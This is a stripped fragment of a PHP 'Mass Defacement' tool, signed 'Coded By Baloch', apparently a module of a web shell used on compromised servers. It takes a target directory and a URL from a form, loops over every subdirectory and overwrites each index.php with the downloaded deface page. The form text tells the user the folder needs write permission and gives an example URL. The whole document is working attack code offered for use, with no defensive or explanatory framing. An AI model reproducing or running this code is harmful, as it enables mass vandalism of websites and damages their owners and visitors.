Mass Defacement
"; $defaceurl = $_POST['massdefaceurl']; $dir = $_POST['massdefacedir']; echo $dir."\n"; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if(filetype($dir.$file)=="dir"){ $newfile=$dir.$file."/index.php"; echo $newfile."\n"; if (!copy($defaceurl, $newfile)) { echo "failed to copy $file...\n"; } } } closedir($dh); } } echo "
"; ?>
' method='post'> [+] Main Directory:
[+] Defacement Url:
** Main Directory = The Directory you want to mass deface (Must have read/write permission) **
** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **
Coded By Baloch